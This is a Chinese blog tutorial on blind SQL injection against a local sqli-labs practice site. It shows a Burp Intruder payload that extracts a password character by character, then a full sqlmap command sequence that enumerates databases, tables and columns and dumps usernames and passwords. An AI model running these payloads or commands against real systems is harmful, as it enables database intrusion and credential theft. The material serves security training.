当前位置:网站首页>【工具跑SQL盲注】
【工具跑SQL盲注】
2022-07-03 04:33:00 【黑色地带(崛起)】
目录
一、(工具)burp跑盲注
1.1、方法一:爆破
抓包之后,将请求发送到"Intruder"模块
设置2个有效载荷
1.2、方法二:注入语句爆破
注入构造语句,进行迭代操作
(select case when '§0§' = lower(substring((select password from employees where empid=1),§1§,1)) then 1 else 0 end)
二、(工具)sqlmap跑布尔盲注
2.1、命令:
-u 指定注入点
--dbs 跑库 名
--tables 跑表 名
--columns 跑字段 名
--dump 枚举数据
跑出对应的后,依次加上-D 指定库 -T 指定表 -C 指定字段
2.2、利用过程:
第一步:检测是否存在注入
基础操作
python sqlmap.py http://localhost:8080/sqli-labs-master/Less-5/?id=1 --batch
--batch是使用默认设置
其实环境都扫出来了
就可以再加上--dbms mysql了
第二步:爆数据库名
命令
#获取全部数据库
sqlmap.py -u url --dbs --batch
---------
#获取当前数据库
sqlmap.py -u url --current-dbs --batch
基础操作
python sqlmap.py -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' --dbs --batch
第三步:爆数据库表名
命令
python sqlmap.py -u url -D DB --tables --batch
基础操作
python sqlmap.py -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' -D security --tables --batch
第四步:爆字段名
命令:
sqlmap.py -u url -D DB -T TBL --columns --batch
基础操作
python sqlmap.py -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' -D security -T users --columns --batch
第五步:爆数据
命令:
sqlmap.py -u url -D DB -T TBL -C "COL1,COL2" --dump --batch
基础操作:
python sqlmap.py -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' -D security -T users -C "username,password" --dump --batch
三、推荐
边栏推荐
- How do you use lodash linking function- How do you chain functions using lodash?
- Two points -leetcode-540 A single element in an ordered array
- MongoDB 慢查询语句优化分析策略
- 4 years of experience to interview test development, 10 minutes to end, ask too
- 使用BENCHMARKSQL工具对KingbaseES预热数据时执行:select sys_prewarm(‘NDX_OORDER_2 ‘)报错
- MySQL field userid comma separated save by userid query
- [fxcg] inflation differences will still lead to the differentiation of monetary policies in various countries
- Which Bluetooth headset is cost-effective? Four Bluetooth headsets with high cost performance are recommended
- vulnhub HA: Natraj
- 2022 a special equipment related management (elevator) analysis and a special equipment related management (elevator) simulation test
猜你喜欢

Web - Information Collection

使用BENCHMARKSQL工具对KingbaseES预热数据时执行:select sys_prewarm(‘NDX_OORDER_2 ‘)报错

Dismantle a 100000 yuan BYD "Yuan". Come and see what components are in it.

stm32逆向入门

Integration of Android high-frequency interview questions (including reference answers)

The simple problem of leetcode: dismantling bombs

使用BENCHMARKSQL工具对kingbasees并发测试时kill掉主进程成功后存在子线程未及时关闭

2022 tea master (intermediate) examination questions and tea master (intermediate) examination skills

Bugku CTF daily question baby_ flag. txt
![[fxcg] inflation differences will still lead to the differentiation of monetary policies in various countries](/img/56/386f0fd6553b8b9711e14c54705ae3.jpg)
[fxcg] inflation differences will still lead to the differentiation of monetary policies in various countries
随机推荐
[dynamic programming] subsequence problem
FISCO bcos zero knowledge proof Fiat Shamir instance source code
Reptile exercise 02
Preliminary cognition of C language pointer
[Thesis Writing] how to write the overall design of JSP tourism network
MC Layer Target
因子选股-打分模型
P35-P41 fourth_ context
Redis persistence principle
Priv app permission exception
arthas watch 抓取入参的某个字段/属性
Redraw and reflow
Writing skills of multi plate rotation strategy -- strategy writing learning materials
Learning practice: comprehensive application of cycle and branch structure (I)
Mount NFS in kubesphere
Which Bluetooth headset is cost-effective? Four Bluetooth headsets with high cost performance are recommended
A outsourcing boy's mid-2022 summary
[set theory] binary relationship (binary relationship notation | binary relationship from a to B | number of binary relationships | example of binary relationship)
JVM原理简介
sd卡数据损坏怎么回事,sd卡数据损坏怎么恢复












